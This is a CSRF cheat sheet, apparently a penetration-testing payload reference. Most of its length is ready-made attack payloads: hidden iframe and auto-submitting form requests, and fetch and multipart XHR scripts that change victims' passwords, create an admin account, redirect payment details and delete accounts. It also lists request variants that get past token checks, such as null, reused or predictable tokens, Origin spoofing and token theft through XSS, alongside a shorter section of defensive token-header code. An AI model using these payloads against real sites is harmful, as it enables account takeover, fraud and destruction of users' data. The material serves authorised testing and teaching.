CSRF (Cross-Site Request Forgery)

CSRF is an attack where a malicious website, email, or script tricks a logged-in user's browser into executing unintended actions on a trusted site. Because browsers automatically send cookies, including session tokens, with requests, a vulnerable site may be unable to differentiate between legitimate user actions and forged requests.

Without proper validation mechanisms, attackers can exploit this flaw to force users to perform unauthorized actions. The impact depends on the user’s permissions within the targeted application—an attacker could transfer money, reset passwords, modify account settings, escalate privileges, or execute any task the user is authorized to perform, all without their knowledge.

Exploiting CSRF

This method uses a malicious link that, when clicked, triggers an action on the victim’s account.

<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>

If the target website does not verify CSRF tokens or request origins, clicking the link will change the username to "uname" without the victim’s knowledge.

Auto-submission with an image tag

<img src="http://www.example.com/api/deleteaccount" />
The request executes as soon as the page loads.

Silent request using iframe

<iframe src="http://www.example.com/api/transfermoney?amount=1000" style="display:none;">
</iframe>

The transfer happens in the background without user interaction.

HTML POST Method (Form-Based Exploitation)

CSRF can also be exploited using a form that automatically submits a malicious request when the page loads.

`<form action="http://www.example.com/api/setusername" enctype="text/plain"
method="POST">
<input name="username" type="hidden" value="uname" />
<input type="submit" value="Submit Request" />
</form>`

If the user is logged in, loading this form will change their username when they click submit. Auto-submit the form

<body onload="document.forms[0].submit()">

The form submits automatically when the page loads.

Invisible submission using JavaScript

<script>document.forms[0].submit();</script>

JSON GET Method (Fetching Sensitive Data)

JavaScript can be used to make unauthorized GET requests to extract user data.

<script> var xhr = new XMLHttpRequest(); xhr.open("GET",
"http://www.example.com/api/currentuser"); xhr.send(); </script>

If the response isn’t protected by proper CORS (Cross-Origin Resource Sharing) policies, the attacker can extract user data. Stealing a CSRF token (if exposed in responses)

fetch("http://www.example.com/api/getcsrftoken")
.then(res => res.text())
.then(token => alert(token));

JSON POST Method (Modifying Data via API Calls)

<script> var xhr = new XMLHttpRequest(); xhr.open("POST",
"http://www.example.com/api/setrole"); xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}'); </script>

If the API doesn’t check CSRF tokens or request origins, this script will escalate the user’s role to an admin. Modifying account details

fetch("http://www.example.com/api/updatepassword", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ "password": "hacked123" })
});

If the site lacks CSRF protection, the attacker can change the victim’s password. Deleting user accounts silently

fetch("http://www.example.com/api/deleteaccount", { method: "DELETE" });

Multipart CSRF Exploitation

This method is often used when applications accept file uploads or process complex forms with multiple fields. Breaking Down the Multipart Exploit

  1. Targeted API Endpoint The request is sent to "https://example/api/users", which likely processes user data updates.
  2. Request Headers "Content-Type: multipart/form-data" ensures the server interprets the request as a form submission. "withCredentials = true" forces the browser to send session cookies or authentication tokens.
  3. Exploit Payload (Form Data) action=update → Indicates the request is updating user data. user_id=1 → Targets user ID 1 (often an admin). uname=daffainfo → Changes the username. first_name=m & last_name=daffa → Modifies the victim’s profile details.
  4. Silent Submission The form submission is executed via JavaScript without user interaction. The request payload is constructed as a Blob object to ensure proper encoding.

Changing User Password (Account Takeover)

If the application allows users to update their password via a POST request, an attacker can force a victim to change their password.

var body = "-----------------------------123456789\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +
"-----------------------------123456789\r\n" +
"Content-Disposition: form-data; name=\"new_password\"\r\n\r\nP@ssw0rd123\r\n" +
"-----------------------------123456789\r\n" +
"Content-Disposition: form-data; name=\"confirm_password\"\r\n\r\nP@ssw0rd123\r\n" +
"-----------------------------123456789--\r\n";
xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));

Adding a New Admin User Some applications allow admin users to create new accounts. If the endpoint is not protected, an attacker can escalate privileges

var body = "-----------------------------987654321\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n\r\ncreate_user\r\n" +
"-----------------------------987654321\r\n" +
"Content-Disposition: form-data; name=\"username\"\r\n\r\nhacker\r\n" +
"-----------------------------987654321\r\n" +
"Content-Disposition: form-data; name=\"password\"\r\n\r\nH@ck3r123\r\n" +
"-----------------------------987654321\r\n" +
"Content-Disposition: form-data; name=\"role\"\r\n\r\nadmin\r\n" +
"-----------------------------987654321--\r\n";
xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));

Changing Payment Details (Fraudulent Transactions) Attackers can modify stored payment details, redirecting transactions to their own accounts.

var body = "-----------------------------555555555\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +
"-----------------------------555555555\r\n" +
"Content-Disposition: form-data; name=\"payment_method\"\r\n\r\nbank_transfer\r\n" +
"-----------------------------555555555\r\n" +
"Content-Disposition: form-data; name=\"account_number\"\r\n\r\n1234567890\r\n" +
"-----------------------------555555555\r\n" +
"Content-Disposition: form-data; name=\"account_name\"\r\n\r\nHacker Pay\r\n" +
"-----------------------------555555555--\r\n";
xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));

Changing Email Address (Hijacking Accounts)

var body = "-----------------------------666666666\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +
"-----------------------------666666666\r\n" +
"Content-Disposition: form-data; name=\"email\"\r\n\r\[email protected]\r\n" +
"-----------------------------666666666--\r\n";
xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));

Deleting a User Account If the application allows account deletions via a simple POST request, an attacker can force a victim to delete their account

var body = "-----------------------------777777777\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n\r\ndelete_user\r\n" +
"-----------------------------777777777\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +
"-----------------------------777777777--\r\n";
xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));

Automatically Including CSRF Tokens in AJAX Requests

AJAX requests that modify server state (POST, PUT, PATCH, DELETE) should include a CSRF token. This script ensures that CSRF tokens are automatically included in such requests. Storing CSRF Token Value in the DOM

<meta name="csrf-token" content="{{ csrf_token() }}">

Checking if an HTTP method is safe (No CSRF token required)

function csrfSafeMethod(method) {
return (/^(GET|HEAD|OPTIONS)$/.test(method));
}

XMLHttpRequest Override

var csrf_token = document.querySelector("meta[name='csrf-token']").getAttribute("content");
var o = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function() {
var res = o.apply(this, arguments);
if (!csrfSafeMethod(arguments[0])) {
this.setRequestHeader('anti-csrf-token', csrf_token);
}
return res;
};

AngularJS Configuration

AngularJS allows for setting default headers for HTTP operations. Further documentation can be found at AngularJS's documentation for $httpProvider

var app = angular.module("app", []);
app.config(['$httpProvider', function ($httpProvider) {
["post", "put", "patch", "delete"].forEach(method => {
$httpProvider.defaults.headers[method] = $httpProvider.defaults.headers[method] || {};
$httpProvider.defaults.headers[method]["anti-csrf-token"] = csrf_token;
});
}]);

Axios Default Headers

Axios allows us to set default headers for the POST, PUT, DELETE and PATCH actions.

axios.defaults.headers.post['anti-csrf-token'] = csrf_token;
axios.defaults.headers.put['anti-csrf-token'] = csrf_token;
axios.defaults.headers.delete['anti-csrf-token'] = csrf_token;
axios.defaults.headers.patch['anti-csrf-token'] = csrf_token;

Using Referer/Origin Manipulation

Some applications check the Referer or Origin header for validation. If these headers are not enforced strictly, bypassing the CSRF protection is possible.

POST /register HTTP/1.1
Host: target.com
Referer: https://target.com
Origin: https://malicious.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try modifying the Origin header to null or https://malicious.com

Using XSS to Steal Token

If the application is vulnerable to XSS, you can extract the CSRF token and use it in requests.

fetch("https://target.com/register", {
method: "POST",
credentials: "include",
body: `username=dapos&password=123456&token=${document.querySelector('[name=token]').value}`,
headers: { "Content-Type": "application/x-www-form-urlencoded" }
});

Predictable Token

If the CSRF token is generated using predictable values like timestamps or user-specific information, try to predict or brute-force it.

POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=TIMESTAMP_1234

Using a Null Token

Some applications treat a null value as valid.

POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=null

Reusing Old Tokens

Some applications do not invalidate CSRF tokens after use.

POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=OLD_VALID_TOKEN

Bypassing Token Check with JSON Payload

If the backend checks for CSRF only in form-data but accepts JSON input

POST /register HTTP/1.1
Host: target.com
Content-Type: application/json
...
{
"username": "dapos",
"password": "123456"
}

If the CSRF token is stored in cookies, it might be possible to send a forged request with the same cookie.

POST /register HTTP/1.1
Host: target.com
Cookie: csrf_token=known_value
...
username=dapos&password=123456&token=known_value

Using a Custom Header

Some APIs allow custom headers but do not validate CSRF for API requests.

POST /register HTTP/1.1
Host: target.com
X-Requested-With: XMLHttpRequest
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
var examplePayloads = [
{ method: 'POST', url: '/api/data', body: JSON.stringify({ name: 'test' }) },
{ method: 'PUT', url: '/api/update/1', body: JSON.stringify({ value: 'updated' }) },
{ method: 'PATCH', url: '/api/modify', body: JSON.stringify({ field: 'changed' }) },
{ method: 'DELETE', url: '/api/remove/5' }
];
examplePayloads.forEach(payload => {
fetch(payload.url, {
method: payload.method,
headers: { 'Content-Type': 'application/json', 'anti-csrf-token': csrf_token },
body: payload.body ? payload.body : null
}).then(response => response.json()).then(data => console.log(data));
});

Exploiting Weak Regex Validation

If the application uses loose regex validation like ^.{6,}$, try submitting a token that meets the minimum requirement but is incorrect.

POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaa

Injecting Special Characters

Some systems may not properly handle special characters, causing validation bypass.
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaa' OR '1'='1

Tools

Writeups

Cheatsheets

Reference